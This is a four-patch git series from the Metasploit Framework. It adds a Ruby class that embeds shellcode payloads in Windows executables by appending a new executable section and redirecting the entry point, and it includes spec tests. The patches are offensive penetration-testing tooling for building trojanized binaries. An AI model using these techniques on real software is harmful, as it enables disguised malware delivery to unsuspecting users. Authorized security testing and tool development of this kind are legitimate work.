From b9b40edde9d1bd1e67efab19213cc35d54421c6a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 29 Mar 2015 00:44:06 -0500 Subject: [PATCH 1/4] Major speedup, especially for large shellcode (stageless) --- lib/msf/core/exe/segment_injector.rb | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb index 418e2959b5..203785adf6 100644 --- a/lib/msf/core/exe/segment_injector.rb +++ b/lib/msf/core/exe/segment_injector.rb @@ -59,20 +59,11 @@ module Exe EOS end - def payload_as_asm - asm = '' - @payload.each_byte do |byte| - asm << "db " + sprintf("0x%02x", byte) + "\n" - end - return asm - end - def payload_stub(prefix) asm = "hook_entrypoint:\n#{prefix}\n" asm << create_thread_stub - asm << payload_as_asm shellcode = Metasm::Shellcode.assemble(processor, asm) - shellcode.encoded + shellcode.encoded + @payload end def generate_pe From 0a4a72f49ddc3ba6c87c6d0307617e1994acb7f2 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 29 Mar 2015 01:51:58 -0500 Subject: [PATCH 2/4] Support templates with small text sections (win32) --- lib/msf/core/exe/segment_appender.rb | 51 ++++++++++++++++++++++++++++ lib/msf/util/exe.rb | 34 +++++++++++++++---- 2 files changed, 78 insertions(+), 7 deletions(-) create mode 100644 lib/msf/core/exe/segment_appender.rb diff --git a/lib/msf/core/exe/segment_appender.rb b/lib/msf/core/exe/segment_appender.rb new file mode 100644 index 0000000000..e0cb4a280b --- /dev/null +++ b/lib/msf/core/exe/segment_appender.rb @@ -0,0 +1,51 @@ +# -*- coding: binary -*- +module Msf +module Exe + + require 'metasm' + require 'msf/core/exe/segment_injector' + + class SegmentAppender < SegmentInjector + + def payload_stub(prefix) + # TODO: Implement possibly helpful payload obfuscation + asm = "new_entrypoint:\n#{prefix}\n" + shellcode = Metasm::Shellcode.assemble(processor, asm) + shellcode.encoded + @payload + end + + def generate_pe + # Copy our Template into a new PE + pe_orig = Metasm::PE.decode_file(template) + pe = pe_orig.mini_copy + + # Copy the headers and exports + pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4] + pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup + pe.header.time = pe_orig.header.time + + # Don't rebase if we can help it since Metasm doesn't do relocations well + pe.optheader.dll_characts.delete("DYNAMIC_BASE") + + # TODO: Look at supporting DLLs in the future + prefix = '' + + # Create a new section + s = Metasm::PE::Section.new + s.name = '.' + Rex::Text.rand_text_alpha_lower(4) + s.encoded = payload_stub prefix + s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE] + + pe.sections << s + pe.invalidate_header + + # Change the entrypoint to our new section + pe.optheader.entrypoint = 'new_entrypoint' + pe.cpu = pe_orig.cpu + + pe.encode_string + end + + end +end +end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 6256fb7d2b..9eb40eb520 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -18,6 +18,7 @@ require 'rex/zip' require 'metasm' require 'digest/sha1' require 'msf/core/exe/segment_injector' +require 'msf/core/exe/segment_appender' ## # @@ -198,6 +199,9 @@ require 'msf/core/exe/segment_injector' return injector.generate_pe end + + # dead, dead code. + raise RuntimeError, "No .text section found in the template" unless text unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) @@ -205,12 +209,15 @@ require 'msf/core/exe/segment_injector' end p_length = payload.length + 256 + + # If the .text section is too small, append a new section instead if text.size < p_length - fname = ::File.basename(opts[:template]) - msg = "The .text section for '#{fname}' is too small. " - msg << "Minimum is #{p_length.to_s} bytes, your .text section is " + - "#{text.size.to_s} bytes" - raise RuntimeError, msg + appender = Msf::Exe::SegmentAppender.new({ + :payload => code, + :template => opts[:template], + :arch => :x86 + }) + return appender.generate_pe end # Store some useful offsets @@ -506,7 +513,8 @@ require 'msf/core/exe/segment_injector' def self.to_win64pe(framework, code, opts = {}) # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") - #try to inject code into executable by adding a section without affecting executable behavior + + # Try to inject code into executable by adding a section without affecting executable behavior if opts[:inject] injector = Msf::Exe::SegmentInjector.new({ :payload => code, @@ -515,8 +523,20 @@ require 'msf/core/exe/segment_injector' }) return injector.generate_pe end + opts[:exe_type] = :exe_sub - exe_sub_method(code,opts) + return exe_sub_method(code,opts) + + # + # TODO: 64-bit support is currently failing to stage + # + # Append a new section instead + # appender = Msf::Exe::SegmentAppender.new({ + # :payload => code, + # :template => opts[:template], + # :arch => :x64 + # }) + # return appender.generate_pe end # Embeds shellcode within a Windows PE file implementing the Windows From 607cc8fef6c70a09e605311755c0043aba618a0a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 29 Mar 2015 01:54:07 -0500 Subject: [PATCH 3/4] Remove a stale comment --- lib/msf/util/exe.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 9eb40eb520..d0a57ab426 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -199,9 +199,6 @@ require 'msf/core/exe/segment_appender' return injector.generate_pe end - - # dead, dead code. - raise RuntimeError, "No .text section found in the template" unless text unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint) From a1c755161a6cbe5b879981d7856ff1f3b36d0061 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 29 Mar 2015 11:52:06 -0500 Subject: [PATCH 4/4] Add spec coverage for appender, fix injector --- .../lib/msf/core/exe/segment_appender_spec.rb | 82 +++++++++++++++++++ .../lib/msf/core/exe/segment_injector_spec.rb | 6 -- 2 files changed, 82 insertions(+), 6 deletions(-) create mode 100644 spec/lib/msf/core/exe/segment_appender_spec.rb diff --git a/spec/lib/msf/core/exe/segment_appender_spec.rb b/spec/lib/msf/core/exe/segment_appender_spec.rb new file mode 100644 index 0000000000..5725eba822 --- /dev/null +++ b/spec/lib/msf/core/exe/segment_appender_spec.rb @@ -0,0 +1,82 @@ +require 'spec_helper' +require 'msf/core/exe/segment_appender' + +describe Msf::Exe::SegmentAppender do + + let(:opts) do + option_hash = { + :template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"), + :payload => "\xd9\xeb\x9b\xd9\x74\x24", + :arch => :x86 + } + end + subject(:injector) { Msf::Exe::SegmentInjector.new(opts) } + + it { should respond_to :payload } + it { should respond_to :template } + it { should respond_to :arch } + it { should respond_to :processor } + it { should respond_to :buffer_register } + + it 'should return the correct processor for the arch' do + injector.processor.class.should == Metasm::Ia32 + injector.arch = :x64 + injector.processor.class.should == Metasm::X86_64 + end + + context '#create_thread_stub' do + it 'should use edx as a default buffer register' do + injector.buffer_register.should == 'edx' + end + + context 'when given a non-default buffer register' do + let(:opts) do + option_hash = { + :template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"), + :payload => "\xd9\xeb\x9b\xd9\x74\x24", + :arch => :x86, + :buffer_register => 'eax' + } + end + it 'should use the correct buffer register' do + injector.buffer_register.should == 'eax' + end + end + end + + describe '#generate_pe' do + it 'should return a string' do + injector.generate_pe.kind_of?(String).should == true + end + + it 'should produce a valid PE exe' do + expect {Metasm::PE.decode(injector.generate_pe) }.to_not raise_exception + end + + context 'the generated exe' do + let(:exe) { Metasm::PE.decode(injector.generate_pe) } + it 'should be the propper arch' do + exe.bitsize.should == 32 + end + + it 'should have 5 sections' do + exe.sections.count.should == 5 + end + + it 'should have all the right original section names' do + s_names = [] + exe.sections.collect {|s| s_names << s.name} + s_names[0,4].should == [".text", ".rdata", ".data", ".rsrc"] + end + + it 'should have the last section set to RWX' do + exe.sections.last.characteristics.should == ["CONTAINS_CODE", "MEM_EXECUTE", "MEM_READ", "MEM_WRITE"] + end + + it 'should have an entrypoint that points to the last section' do + exe.optheader.entrypoint.should == exe.sections.last.virtaddr + end + end + end +end + diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb index e5a4e9181a..3dd710cee5 100644 --- a/spec/lib/msf/core/exe/segment_injector_spec.rb +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -24,12 +24,6 @@ describe Msf::Exe::SegmentInjector do injector.processor.class.should == Metasm::X86_64 end - context '#payload_as_asm' do - it 'should return the payload as declare byte instructions' do - injector.payload_as_asm.should == "db 0xd9\ndb 0xeb\ndb 0x9b\ndb 0xd9\ndb 0x74\ndb 0x24\n" - end - end - context '#create_thread_stub' do it 'should use edx as a default buffer register' do injector.buffer_register.should == 'edx'